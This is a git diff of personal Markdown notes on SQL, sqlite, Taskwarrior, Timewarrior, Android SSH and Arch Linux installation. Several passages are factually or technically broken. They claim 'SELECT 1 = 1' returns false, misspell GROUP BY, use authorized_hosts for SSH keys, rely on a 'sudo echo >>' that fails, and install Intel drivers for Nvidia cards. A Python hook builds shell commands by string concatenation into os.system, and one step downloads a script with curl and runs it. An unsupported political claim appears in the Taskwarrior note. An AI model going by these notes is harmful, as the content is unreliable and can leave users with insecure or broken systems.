Other aggregates include 'max', 'min'.
|
||||
|
||||
Select most expensive car:
|
||||
|
||||
> SELECT MAX(price) FROM car;
|
||||
|
||||
> SELECT MIN(price) FROM car;
|
||||
|
||||
> SELECT AVG(price) FROM car;
|
||||
|
||||
We can stick items together for better grouping:
|
||||
|
||||
> SELECT make, model, MAX(price) FROM car GROPU BY make, model;
|
||||
|
||||
Select all fields from table 'car', and add a column containing another price, discounted to 90%, rounded to two decimal places.
|
||||
|
||||
> SELECT id,make,model,price,ROUND(price * .9, 2) from car;
|
||||
|
||||
Same thing, but take 10% of the price from the price.
|
||||
|
||||
> SELECT id,make,model,price,ROUND(price - (price * .1), 2) from car;
|
||||
|
||||
|
||||
|
||||
## Comparison
|
||||
|
||||
> SELECT 10 + 2^2;
|
||||
|
||||
> SELECT 10! * 2 - 3;
|
||||
|
||||
... et c.
|
||||
|
||||
This returns false:
|
||||
|
||||
> SELECT 1 = 1;
|
||||
|
||||
These return false:
|
||||
|
||||
> SELECT 2<1;
|
||||
|
||||
Or '1 is not equal to 1':
|
||||
|
||||
> SELECT 1<>1;
|
||||
|
||||
And with strings, 'G is not the same as g':
|
||||
|
||||
> SELECT 'G'<>'g';
|
||||
|
||||
### Car Disconts
|
||||
|
||||
You want to show the discounts on various cars. You check which columns are available and select all of them:
|
||||
|
||||
> \d car
|
||||
|
||||
> SELECT id,make,model,price FROM car;
|
||||
|
||||
## Aliases
|
||||
|
||||
You can change what a column name appears as with:
|
||||
|
||||
> select price AS original_price from car;
|
||||
|
||||
# Null Values
|
||||
|
||||
## Coalesce
|
||||
|
||||
You can input a series of entries, requesting the first one which is present. Here we input three entries which are 'null', and a third which is '2', so '2' is selected:
|
||||
|
||||
> SELECT COALESCE(null, null, 2) AS number;
|
||||
|
||||
When selecting column 'email' from table 'person', you can input the string 'Email not provided' if there is no email provided:
|
||||
|
||||
> SELECT COALESCE(email, 'Email not provided') from person;
|
||||
|
||||
## Nullif
|
||||
|
||||
Normally, devision by 0 produces an error:
|
||||
|
||||
> SELECT 10/ 0;
|
||||
|
||||
But 10 divided by 'null' produces only 'null', which is not an error.
|
||||
|
||||
The 'nullif' statement takes two numbers, and returns 'null' iff the numbers are the same as each other.
|
||||
|
||||
> select nullif(0,0)
|
||||
> select nullif(10,10)
|
||||
|
||||
# Date
|
||||
|
||||
Select date:
|
||||
|
||||
> SELECT NOW()::DATE;
|
||||
|
||||
> SELECT NOW()::TIME;
|
||||
|
||||
or just:
|
||||
|
||||
> SELECT NOW();
|
||||
|
||||
More [here](postgresql.org/docs/11/datatype-datetime.html).
|
||||
|
||||
|
||||
2h23m
|
||||
|
@@ -1,94 +0,0 @@
|
||||
---
|
||||
title: "sql"
|
||||
tags: [ "Documentation", "data" ]
|
||||
---
|
||||
MySQL, Aurora and the Maria Database work similarly, and mostly with the same commands.
|
||||
|
||||
MySQL requires 160 Megs of disk space.
|
||||
|
||||
The ontological layers go:
|
||||
|
||||
> Database > table > record > field
|
||||
|
||||
The record is a line containing multiple fields. The table contains multiple records.
|
||||
|
||||
## Database: RPGs
|
||||
|
||||
### Table: D&D
|
||||
|
||||
#### Columns:
|
||||
|
||||
| id | name | year | edition | stars |
|
||||
|:--:|:-------------------|:-----|:--------|:------|
|
||||
| 1 | Dungeons & Dragons | 1975 | 1 | 1 |
|
||||
| 2 | Dungeons & Dragons | 1980 | 2 | 1 |
|
||||
| 3 | Advanced Dungeons & Dragons | 1985 | 1 | 1 |
|
||||
|
||||
|
||||
# Getting started
|
||||
|
||||
> sudo apt-get install mysql-server
|
||||
|
||||
You'll be asked for a password.
|
||||
|
||||
Log in with:
|
||||
|
||||
> mysql -u root -p
|
||||
|
||||
The -u requests a user, while -p tells it to prompt for a password.
|
||||
|
||||
List all databases:
|
||||
|
||||
> show databases;
|
||||
|
||||
Make a new database;
|
||||
|
||||
> create database creatures;
|
||||
|
||||
Start work on the new database:
|
||||
|
||||
> use creatures;
|
||||
|
||||
> create table stats (Strength VARCHAR(2), Speed VARCHAR(2), Dexterity(2));
|
||||
|
||||
This creatures a row called 'stats' within the 'creature'table' with a number of variables, all of type VARCHAR (a variable length character string).
|
||||
|
||||
Now you can insert data (which would normally be provided by a user via php or some-such).
|
||||
|
||||
> insert into stats (Strength,Speed,Dexterity) values (-1,0,+1)
|
||||
|
||||
Now have a look at the info:
|
||||
|
||||
> select * from stats
|
||||
|
||||
The old way to delete info by selection was:
|
||||
|
||||
> delete * from stats where Charisma='0'
|
||||
|
||||
...but now it's:
|
||||
|
||||
> delete from stats where Charisma='0'
|
||||
|
||||
Update a thing:
|
||||
|
||||
> update stats
|
||||
|
||||
> set Speed='-1',Charisma='-2'
|
||||
|
||||
> where Strength=0;
|
||||
|
||||
Leaving out the specifier 'where' means you're updating the entire database.
|
||||
|
||||
Control order with
|
||||
|
||||
> SELECT * FROM stats ORDER BY Strength;
|
||||
|
||||
Or for descending order, suffix 'DESC'.
|
||||
|
||||
> select * from stats ORDER by Date DESC;
|
||||
|
||||
# Resources
|
||||
|
||||
Try more at [w3schools](http://www.w3schools.com/sql/sql_groupby.asp).
|
||||
|
||||
|
21
data/sqlite.md
Normal file
21
data/sqlite.md
Normal file
@@ -0,0 +1,21 @@
|
||||
---
|
||||
title: "sqlite"
|
||||
tags: [ "data" ]
|
||||
---
|
||||
|
||||
Work with a database:
|
||||
|
||||
```bash
|
||||
sqlite3 "$FILE".sqlite3
|
||||
```
|
||||
Compress the database:
|
||||
|
||||
```sqlite
|
||||
pragma vacuum;
|
||||
```
|
||||
Optimize the database:
|
||||
|
||||
```sqlite
|
||||
pragma optimize;
|
||||
```
|
||||
|
34
data/task/contexts.md
Normal file
34
data/task/contexts.md
Normal file
@@ -0,0 +1,34 @@
|
||||
---
|
||||
title: "Taskwarrior Contexts"
|
||||
tags: [ "data", "task" ]
|
||||
requires: [ "Taskwarrior" ]
|
||||
---
|
||||
|
||||
# Contexts
|
||||
|
||||
Set three contexts by their tags:
|
||||
|
||||
```sh
|
||||
task context define work +sa or +hr
|
||||
```
|
||||
|
||||
```sh
|
||||
task context define study +ed or +void or +rat
|
||||
```
|
||||
|
||||
```sh
|
||||
task context define home -sa -hr -ed -void -rat
|
||||
```
|
||||
|
||||
Change to the first context.
|
||||
|
||||
```sh
|
||||
task context work
|
||||
```
|
||||
|
||||
Then stop.
|
||||
|
||||
```sh
|
||||
task context none
|
||||
```
|
||||
|
115
data/task/task.md
Normal file
115
data/task/task.md
Normal file
@@ -0,0 +1,115 @@
|
||||
---
|
||||
title: "Taskwarrior"
|
||||
tags: [ "data", "organization" ]
|
||||
---
|
||||
|
||||
Set up the configuration file:
|
||||
|
||||
```sh
|
||||
task
|
||||
```
|
||||
|
||||
Taskwarrior published a new feature to synchronize tasks others, but the feature was not ready.
|
||||
The server's default installation instructions assume that users pay for hosting services.
|
||||
All listed providers run proprietary software and actively support genocide.
|
||||
|
||||
|
||||
To ignore the synchronization, tell the configuration file to use a local synchronization file.
|
||||
|
||||
```
|
||||
task config sync.local.server_dir
|
||||
task config data.location ~/.local/state/
|
||||
```
|
||||
|
||||
Add a task:
|
||||
|
||||
```sh
|
||||
task add update linux
|
||||
```
|
||||
|
||||
See which task is next:
|
||||
|
||||
```sh
|
||||
task next
|
||||
```
|
||||
|
||||
Note the id number.
|
||||
|
||||
Mark a task as started:
|
||||
|
||||
```sh
|
||||
task start 1
|
||||
```
|
||||
|
||||
Once finished:
|
||||
|
||||
```sh
|
||||
task 1 done
|
||||
```
|
||||
|
||||
# Projects
|
||||
|
||||
Add a project:
|
||||
|
||||
```sh
|
||||
task add project:house buy potted plant
|
||||
task add proj:house.repair buy screwdriver
|
||||
task add proj:house.repair buy shelf brackets
|
||||
task add pro:house.paint buy white paint
|
||||
|
||||
for t in "buy red paint" "buy black paint" "buy brushes" ; do
|
||||
task add pro:house.paint $t
|
||||
done
|
||||
```
|
||||
|
||||
## Summary
|
||||
|
||||
```sh
|
||||
task pro:house sum
|
||||
task burndown.daily pro:house
|
||||
```
|
||||
|
||||
The summaries will show how fast a project is being completed, and when you can expect it to finish at the present rate.
|
||||
|
||||
# Tags
|
||||
|
||||
|
||||
```sh
|
||||
task add +buy toothbrush
|
||||
task +buy
|
||||
```
|
||||
|
||||
# Review
|
||||
|
||||
View list of tasks completed in the last week:
|
||||
|
||||
```sh
|
||||
task end.after:today-1wk completed
|
||||
```
|
||||
|
||||
# User Defined Attributes
|
||||
|
||||
Define a new attribute for tasks called 'size'.
|
||||
The 'user defined attribute' (UDA) needs a `type` and `label`.
|
||||
|
||||
```sh
|
||||
task config uda.size.type string
|
||||
task config uda.size.label Size
|
||||
```
|
||||
You can also ensure task tasks can only be `large`, `medium`, or `small`, then set a default.
|
||||
|
||||
```sh
|
||||
task config uda.size.values large,medium,small
|
||||
uda.size.default=medium
|
||||
```
|
||||
|
||||
# Tricks
|
||||
|
||||
This command shows tasks I'm most interested in:
|
||||
|
||||
```sh
|
||||
task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
|
||||
```
|
||||
|
||||
The command is long, so `alias` is your friend.
|
||||
|
20
data/task/taskwarrior_configuration.md
Normal file
20
data/task/taskwarrior_configuration.md
Normal file
@@ -0,0 +1,20 @@
|
||||
---
|
||||
title: "Taskwarrior Configuration"
|
||||
tags: [ "data", "task" ]
|
||||
requires: [ "Taskwarrior" ]
|
||||
---
|
||||
|
||||
Show your current config:
|
||||
|
||||
|
||||
```sh
|
||||
task show
|
||||
```
|
||||
|
||||
Use machine-readable output to make a config file with all configuration keys shown, then make it your configuration file.
|
||||
|
||||
```sh
|
||||
task _show > ${file}
|
||||
mv ${file} ~/.config/task/taskrc
|
||||
```
|
||||
|
@@ -1,81 +1,93 @@
|
||||
---
|
||||
title: "timew"
|
||||
tags: [ "Documentation", "Data" ]
|
||||
title: "timewarrior"
|
||||
tags: [ "data", "tracking", "time", "timew" ]
|
||||
---
|
||||
# Summaries
|
||||
|
||||
Try:
|
||||
|
||||
> timew summary :yesterday
|
||||
```sh
|
||||
timew summary :yesterday
|
||||
```
|
||||
|
||||
You can also use :week, :lastweek, :month, :quarter, :year, or a range such as:
|
||||
|
||||
> timew summary today to tomorrow
|
||||
|
||||
> timew today - tomorrow
|
||||
|
||||
> 2018-10-15T06:00 - 2018-10-17T06:00
|
||||
```sh
|
||||
timew summary today to tomorrow
|
||||
timew today - tomorrow
|
||||
2018-10-15T06:00 - 2018-10-17T06:00
|
||||
```
|
||||
|
||||
Each of these can gain with the :ids tag.
|
||||
|
||||
# Basics
|
||||
|
||||
> timew start
|
||||
|
||||
> timew stop
|
||||
|
||||
> timew continue
|
||||
|
||||
> timew summary
|
||||
|
||||
> timew tags
|
||||
```sh
|
||||
timew start
|
||||
timew stop
|
||||
timew continue
|
||||
timew summary
|
||||
timew tags
|
||||
```
|
||||
|
||||
And add ids with:
|
||||
|
||||
> timew summary :ids
|
||||
|
||||
|
||||
> timew track 10am - 1pm timewarrior
|
||||
|
||||
> timew track 1pm for 2h walk
|
||||
```sh
|
||||
timew summary :ids
|
||||
timew track 10am - 1pm timewarrior
|
||||
timew track 1pm for 2h walk
|
||||
```
|
||||
|
||||
# Adjusting Timewarrior
|
||||
|
||||
First get ids.
|
||||
|
||||
> timew summary :ids
|
||||
```sh
|
||||
timew summary :ids
|
||||
```
|
||||
|
||||
Then if we're looking at task @2:
|
||||
|
||||
> timew move @2 12:00
|
||||
```sh
|
||||
timew move @2 12:00
|
||||
timew lengthen @2 3mins
|
||||
```
|
||||
|
||||
> timew lengthen @2 3mins
|
||||
|
||||
> time shorten @2 40mins
|
||||
```sh
|
||||
time shorten @2 40mins
|
||||
```
|
||||
|
||||
# Forgetting
|
||||
|
||||
> timew start 1h ago @4
|
||||
```sh
|
||||
timew start 1h ago @4
|
||||
```
|
||||
|
||||
Or if your action actually had a break:
|
||||
|
||||
> timew split @8
|
||||
```sh
|
||||
timew split @8
|
||||
```
|
||||
|
||||
Or maybe not?
|
||||
|
||||
> timew join @4 @8
|
||||
|
||||
> timew @8 delete
|
||||
```sh
|
||||
timew join @4 @8
|
||||
timew @8 delete
|
||||
```
|
||||
|
||||
Start at previous time
|
||||
|
||||
> timew start 3pm 'Read chapter 12'
|
||||
|
||||
> timew start 90mins ago 'Read chapter 12'
|
||||
```sh
|
||||
timew start 3pm 'Read chapter 12'
|
||||
timew start 90mins ago 'Read chapter 12'
|
||||
```
|
||||
|
||||
Cancel currently tracked time.
|
||||
|
||||
> timew cancel
|
||||
```sh
|
||||
timew cancel
|
||||
```
|
||||
|
||||
# Backdated tracking
|
||||
|
||||
@@ -129,25 +141,29 @@ task end.after:today-1wk completed
|
||||
|
||||
Replace
|
||||
|
||||
`os.system('timew start ' + combined + ' :yes')`
|
||||
> os.system('timew start ' + combined + ' :yes')
|
||||
|
||||
with:
|
||||
|
||||
`os.system('timew start ' + combined.decode() + ' :yes')`
|
||||
> os.system('timew start ' + combined.decode() + ' :yes')
|
||||
|
||||
and
|
||||
|
||||
`os.system('timew stop ' + combined + ' :yes')`
|
||||
> os.system('timew stop ' + combined + ' :yes')
|
||||
|
||||
with:
|
||||
|
||||
`os.system('timew stop ' + combined.decode() + ' :yes')`
|
||||
> os.system('timew stop ' + combined.decode() + ' :yes')
|
||||
|
||||
# Fixing Errors
|
||||
|
||||
> curl -O https://taskwarrior.org/download/timew-dbcorrection.py
|
||||
```sh
|
||||
curl -O https://taskwarrior.org/download/timew-dbcorrection.py
|
||||
```
|
||||
|
||||
> python timew-dbcorrections.py
|
||||
```sh
|
||||
python timew-dbcorrections.py
|
||||
```
|
||||
|
||||
# Setup
|
||||
|
@@ -1,99 +0,0 @@
|
||||
---
|
||||
title: "task"
|
||||
tags: [ "Documentation", "Organization" ]
|
||||
---
|
||||
|
||||
Set up the configuration file:
|
||||
|
||||
> task
|
||||
|
||||
Add a task:
|
||||
|
||||
> task add *update linux*
|
||||
|
||||
See which task is next:
|
||||
|
||||
> task next
|
||||
|
||||
Note the id number.
|
||||
|
||||
Mark a task as started:
|
||||
|
||||
> task start *1*
|
||||
|
||||
Once finished:
|
||||
|
||||
> task *1 done*
|
||||
|
||||
# Projects
|
||||
|
||||
Add a project:
|
||||
|
||||
> task add project:*house buy potted plant*
|
||||
> task add proj:*house.repair buy screwdriver*
|
||||
> task add proj:*house.repair buy shelf brackets*
|
||||
3 task add pro:*house.paint buy white paint*
|
||||
> task add pro:*house.paint buy red paint*
|
||||
> task add pro:*house.paint buy black paint*
|
||||
> task add pro:*house.paint buy brushes*
|
||||
|
||||
## Summary
|
||||
|
||||
> task pro:house sum
|
||||
|
||||
> task burndown.daily pro:house
|
||||
|
||||
The summaries will show how fast a project is being completed, and when you can expect it to finish at the present rate.
|
||||
|
||||
# Tags
|
||||
|
||||
> task add +buy toothbrush
|
||||
|
||||
You can then see only tasks which involve buying something with:
|
||||
|
||||
> task +buy
|
||||
|
||||
# Contexts
|
||||
|
||||
Set three contexts by their tags:
|
||||
|
||||
> task context define *work +sa or +hr*
|
||||
|
||||
> task context define *study +ed or +void or +rat*
|
||||
|
||||
> task context define *home -sa -hr -ed -void -rat*
|
||||
|
||||
Change to the first context.
|
||||
|
||||
> task context *work*
|
||||
|
||||
Then stop.
|
||||
|
||||
> task context none
|
||||
|
||||
# Review
|
||||
|
||||
View list of tasks completed in the last week:
|
||||
|
||||
> task end.after:today-1wk completed
|
||||
|
||||
# User Defined Attributes
|
||||
|
||||
Make a UDA 'size'.
|
||||
|
||||
> task config uda.size.type string
|
||||
|
||||
> task config uda.size.label Size
|
||||
|
||||
> task config uda.size.values large,medium,small
|
||||
|
||||
> uda.size.default=medium
|
||||
|
||||
# Tricks
|
||||
|
||||
This command shows tasks I'm most interested in:
|
||||
|
||||
> task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
|
||||
|
||||
The command is long, so `alias` is your friend.
|
||||
|
11
data/view_torrents.md
Normal file
11
data/view_torrents.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
title: "View Torrents"
|
||||
tags: [ "data", "transmission", "torrenting" ]
|
||||
---
|
||||
|
||||
|
||||
```sh
|
||||
transmission-show $file.torrent | less
|
||||
```
|
||||
|
||||
`TRACKERS` shows where transmission will ask who has the torrent, but will probably be out of date.
|
@@ -1,10 +1,12 @@
|
||||
---
|
||||
title: "w3m"
|
||||
tags: [ "Documentation", "browsers" ]
|
||||
tags: [ "browsers" ]
|
||||
---
|
||||
Open a search tab:
|
||||
|
||||
> w3m ddg.gg
|
||||
```bash
|
||||
w3m ddg.gg
|
||||
```
|
||||
|
||||
<Tab> then enter to start typing.
|
||||
|
||||
|
28
distros/android/ssh_to_phone.md
Normal file
28
distros/android/ssh_to_phone.md
Normal file
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: "ssh to phone"
|
||||
tags: [ "networking", "ssh", "android" ]
|
||||
---
|
||||
|
||||
1. Install fdroid on phone.
|
||||
2. Install termux.
|
||||
3. Open fdroid, and run:
|
||||
|
||||
|
||||
```sh
|
||||
pkg upgrade
|
||||
pkg install busybox termux-services openssh openssh-sftp-server
|
||||
source $PREFIX/etc/profile.d/start-services.sh
|
||||
```
|
||||
|
||||
`openssh-sftp-server` will mount the phone's file-system, and show you some directories in `~/storage/`.
|
||||
|
||||
4. Copy your PC's ssh public key to the phone's downloads or somewhere, so you can see it in `~/storage/downloads`.
|
||||
5. On the phone:
|
||||
* `yes | ssh-keygen`
|
||||
* `cat $pubkey.pub >> ~/.ssh/authorized_hosts`.
|
||||
* Check its ip address with `ifconfig | grep broadcast`
|
||||
* Check the phone's username with with `whoami`
|
||||
* `sshd -D`
|
||||
6. On the PC:
|
||||
* `ssh -p 8022 -l $phone_username $phone_ip`
|
||||
|
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "Arch on a Raspberry Pi 4"
|
||||
tags: [ "Documentation", "distros", "raspberry pi", "rpi" ]
|
||||
tags: [ "distros", "raspberry pi", "rpi" ]
|
||||
---
|
||||
|
||||
The [Official Instructions](https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4) for a Raspberry pi 4 do not allow for working sound from the headphone jack, unless you use the aarch64 Installation.
|
||||
|
@@ -1,13 +1,15 @@
|
||||
---
|
||||
title: "autologin"
|
||||
tags: [ "Documentation", "Distros", "Arch" ]
|
||||
tags: [ "distros", "arch" ]
|
||||
---
|
||||
|
||||
# Automatic Login
|
||||
|
||||
Edit `/etc/systemd/system/getty@tty1.service.d/override.conf` by typing:
|
||||
|
||||
> sudo systemctl edit getty@tty1
|
||||
```bash
|
||||
sudo systemctl edit getty@tty1
|
||||
```
|
||||
|
||||
The put in the following, changing `[ USER ]` to your username.
|
||||
|
||||
|
@@ -1,97 +1,154 @@
|
||||
---
|
||||
title: "basic-install"
|
||||
tags: [ "Documentation", "arch" ]
|
||||
tags: [ "arch" ]
|
||||
requires: [ "partitions", "time" ]
|
||||
---
|
||||
Keyboard layout changed.
|
||||
|
||||
> ls /usr/share/kbd/keymaps/**/*.map.gz
|
||||
```bash
|
||||
ls /usr/share/kbd/keymaps/**/*.map.gz
|
||||
```
|
||||
|
||||
> loadkeys uk.map.gz
|
||||
```bash
|
||||
loadkeys uk.map.gz
|
||||
```
|
||||
|
||||
Check if boot mode is UEFI
|
||||
|
||||
> ls /sys/firmware/efi/efivars
|
||||
```bash
|
||||
ls /sys/firmware/efi/efivars
|
||||
```
|
||||
|
||||
Without efivars, the system must boot with BIOS.
|
||||
|
||||
# Check network's up
|
||||
|
||||
> ping archlinux.org
|
||||
```bash
|
||||
ping archlinux.org
|
||||
```
|
||||
|
||||
Set system clock properly
|
||||
|
||||
> timedatectl set-ntp true
|
||||
```bash
|
||||
timedatectl set-ntp true
|
||||
```
|
||||
|
||||
Check disks
|
||||
|
||||
> lsblk
|
||||
```bash
|
||||
lsblk
|
||||
```
|
||||
|
||||
Make partition
|
||||
|
||||
> parted -s /dev/sda mklabel gpt
|
||||
```bash
|
||||
parted -s /dev/sda mklabel gpt
|
||||
```
|
||||
|
||||
> parted -s /dev/sda mklabel msdos
|
||||
```bash
|
||||
parted -s /dev/sda mklabel msdos
|
||||
```
|
||||
|
||||
> parted -s /dev/sda mkpart primary ext4 512 100%
|
||||
```bash
|
||||
parted -s /dev/sda mkpart primary ext4 512 100%
|
||||
```
|
||||
|
||||
> parted -s /dev/sda set 1 boot on
|
||||
```bash
|
||||
parted -s /dev/sda set 1 boot on
|
||||
```
|
||||
|
||||
> mkfs.ext4 /dev/sda1
|
||||
```bash
|
||||
mkfs.ext4 /dev/sda1
|
||||
```
|
||||
|
||||
Use pacstrap to get the base install.
|
||||
|
||||
> mount /dev/sda1 /mnt/
|
||||
```bash
|
||||
mount /dev/sda1 /mnt/
|
||||
```
|
||||
|
||||
> pacstrap /mnt base base-devel vim linux linux-firmware
|
||||
```bash
|
||||
pacstrap /mnt base base-devel vim linux linux-firmware
|
||||
```
|
||||
|
||||
Make fstab notes for new system.
|
||||
|
||||
> genfstab -U /mnt >> /mnt/etc/fstab
|
||||
```bash
|
||||
genfstab -U /mnt >> /mnt/etc/fstab
|
||||
```
|
||||
|
||||
> arch-chroot /mnt
|
||||
```bash
|
||||
arch-chroot /mnt
|
||||
```
|
||||
|
||||
> echo 'en_GB.UTF-8' > /etc/default/locale
|
||||
```bash
|
||||
echo 'en_GB.UTF-8' > /etc/default/locale
|
||||
```
|
||||
|
||||
> pacman -Sy networkmanager grub
|
||||
```bash
|
||||
pacman -Sy networkmanager grub
|
||||
```
|
||||
|
||||
For legacy:
|
||||
|
||||
> grub-install --target=i386-pc /dev/sda
|
||||
```bash
|
||||
grub-install --target=i386-pc /dev/sda
|
||||
```
|
||||
|
||||
For EFI:
|
||||
|
||||
> sudo pacman -S efibootmgr
|
||||
```bash
|
||||
sudo pacman -S efibootmgr
|
||||
```
|
||||
|
||||
> mkdir /boot/efi
|
||||
```bash
|
||||
mkdir /boot/efi
|
||||
```
|
||||
|
||||
> grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
|
||||
```bash
|
||||
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
|
||||
```
|
||||
|
||||
> grub-mkconfig -o /boot/grub/grub.cfg
|
||||
```bash
|
||||
grub-mkconfig -o /boot/grub/grub.cfg
|
||||
```
|
||||
|
||||
set local time
|
||||
|
||||
> ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```bash
|
||||
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```
|
||||
|
||||
Find the desired locale's and uncomment them.
|
||||
|
||||
> vi /etc/locale.gen
|
||||
```bash
|
||||
vi /etc/locale.gen
|
||||
```
|
||||
|
||||
> locale-gen
|
||||
```bash
|
||||
locale-gen
|
||||
```
|
||||
|
||||
Make your keyboard changes permenent with:
|
||||
|
||||
> vi /etc/vconsole.conf
|
||||
```bash
|
||||
vi /etc/vconsole.conf
|
||||
```
|
||||
|
||||
Then set: `KEYMAP=uk.map.gz`
|
||||
unsure about this bit - is this name just for the loadkeys function?
|
||||
|
||||
Make a hostname
|
||||
|
||||
> echo pc > /etc/hostname
|
||||
```bash
|
||||
echo pc > /etc/hostname
|
||||
```
|
||||
|
||||
Set hostnames for network, or at least your own.
|
||||
|
||||
> vi /etc/hosts
|
||||
```bash
|
||||
vi /etc/hosts
|
||||
```
|
||||
|
||||
# This should have the following, at least:
|
||||
|
||||
@@ -103,17 +160,27 @@ If the system has a permanent IP address, it should be used instead of localhost
|
||||
|
||||
Ping some sites to make sure the network's working
|
||||
|
||||
> passwd
|
||||
```bash
|
||||
passwd
|
||||
```
|
||||
|
||||
> exit
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
|
||||
> umount -R /mnt
|
||||
```bash
|
||||
umount -R /mnt
|
||||
```
|
||||
|
||||
Remove that awful beep sound:
|
||||
|
||||
> rmmod pcspkr
|
||||
```bash
|
||||
rmmod pcspkr
|
||||
```
|
||||
|
||||
...and make the change permanent:
|
||||
|
||||
> sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
|
||||
```bash
|
||||
sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
|
||||
```
|
||||
|
||||
|
@@ -1,98 +0,0 @@
|
||||
---
|
||||
title: "encrypted"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
---
|
||||
> # taken from https://0x00sec.org/t/arch-linux-with-lvm-on-luks-dm-crypt-disk-encryption-installation-guide-legacy-bios-system/1479
|
||||
|
||||
> # if you need wifi
|
||||
|
||||
> wifi-menu
|
||||
|
||||
> timedatectl set-ntp true
|
||||
|
||||
> fdisk -l
|
||||
|
||||
> parted /dev/sda
|
||||
|
||||
> (parted) mklabel msdos
|
||||
|
||||
> (parted) mkpart primary ext2 1MB 512MB
|
||||
|
||||
> (parted) mkpart primary ext4 512MB 100%
|
||||
|
||||
> (parted) print
|
||||
|
||||
> (parted) set 1 boot on
|
||||
|
||||
> (parted) quit
|
||||
|
||||
> fdisk -l
|
||||
|
||||
> cryptsetup luksFormat /dev/sda2
|
||||
|
||||
> # make a name. Here I use "crypt".
|
||||
|
||||
cryptsetup open /dev/sda2 crypt
|
||||
|
||||
> pvcreate /dev/mapper/crypt
|
||||
|
||||
> # now a group name - "usb"
|
||||
|
||||
> vgcreate usb /dev/mapper/crypt
|
||||
|
||||
|
||||
> lvcreate -L 8GB usb -n swap
|
||||
> lvcreaate -L 30G usb -n root
|
||||
> lvcreate -l 100%FREE usb -n home
|
||||
|
||||
> mkfs.ext4 /dev/mapper/usb-home
|
||||
mkfs.ext4 /dev/mapper/usb-root
|
||||
> mkswap /dev/mapper/usb-swap
|
||||
|
||||
> mkfs.ext2 /dev/sda1
|
||||
|
||||
> mount /dev/mapper/usb-root /mnt
|
||||
mkdir /mnt/home
|
||||
> mount /dev/mapper/usb-home /mnt/home
|
||||
mkdir /mnt/boot
|
||||
> mount /dev/sda1 /mnt/boot
|
||||
swapon /dev/mapper/usb-swap
|
||||
|
||||
pacstrap -i /mnt base base-devel efibootmgr grub
|
||||
|
||||
genfstab -U /mnt >> /mnt/etc/fstab
|
||||
|
||||
arch-chroot /mnt
|
||||
|
||||
############ new root #############
|
||||
|
||||
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
|
||||
# uncomment en_GT.UTF-8
|
||||
> vi /etc/locale.gen
|
||||
|
||||
> locale-gen
|
||||
|
||||
> # add `LANG=en_GB.UTF-8` to /etc/locale.conf
|
||||
|
||||
> vi /etc/locale.conf
|
||||
|
||||
> echo crypt > /etc/hostname
|
||||
|
||||
> # make sure keyboard encrypt lvm2 are on the list of HOOKS
|
||||
|
||||
> vi /etc/mkinitcpio.conf
|
||||
|
||||
> grub-install /dev/sda
|
||||
|
||||
> vi /etc/default/grub
|
||||
edit the GRUB_CMDLINE_LINUX=""
|
||||
|
||||
`GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda2:usb root=/dev/mapper/usb-root"`
|
||||
|
||||
> grub-mkconfig -o /boot/grub/grub.cfg
|
||||
|
||||
> mkinitcpio -p linux
|
||||
|
||||
> pacman -S wpa_supplicant dialog
|
||||
|
@@ -1,19 +1,26 @@
|
||||
---
|
||||
title: "fonts"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
tags: [ "distros" ]
|
||||
---
|
||||
# Basics
|
||||
|
||||
Update font-cache:
|
||||
|
||||
> fc-cache
|
||||
```sh
|
||||
su root
|
||||
fc-cache
|
||||
```
|
||||
|
||||
List fonts:
|
||||
|
||||
> fc-list
|
||||
```sh
|
||||
fc-list
|
||||
```
|
||||
|
||||
Grab the part of the font name you need for Xresources:
|
||||
|
||||
> fc-list | cut -d: -f2
|
||||
```sh
|
||||
fc-list | cut -d: -f2
|
||||
```
|
||||
|
||||
Add field 3 for styles.
|
||||
|
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "fonts"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
title: "Ach Linux GPU Setup"
|
||||
tags: [ "arch", "GPU" ]
|
||||
---
|
||||
# Step 1: Multilib
|
||||
|
||||
@@ -13,13 +13,17 @@ Include = /etc/pacman.d/mirrorlist
|
||||
|
||||
And update:
|
||||
|
||||
> sudo pacman -Syu
|
||||
```bash
|
||||
sudo pacman -Syu
|
||||
```
|
||||
|
||||
# Step 2: Check Card Manufacturer
|
||||
|
||||
Check your graphics card type:
|
||||
|
||||
> lspci | grep VGA
|
||||
```bash
|
||||
lspci | grep VGA
|
||||
```
|
||||
|
||||
# Step 3: Install Drivers
|
||||
|
||||
@@ -27,23 +31,32 @@ Check your graphics card type:
|
||||
|
||||
If you see `Nvidia`, then install the intel drivers:
|
||||
|
||||
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
|
||||
```bash
|
||||
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
|
||||
```
|
||||
|
||||
## Step 3B
|
||||
|
||||
If you see `Intel`, then install the intel drivers:
|
||||
|
||||
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
|
||||
```bash
|
||||
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
|
||||
```
|
||||
|
||||
## Step 3C
|
||||
|
||||
If you see `AMD`, then check your card support `vulkan`:
|
||||
|
||||
> yay -S gpu-viewer
|
||||
```bash
|
||||
yay -S gpu-viewer
|
||||
```
|
||||
|
||||
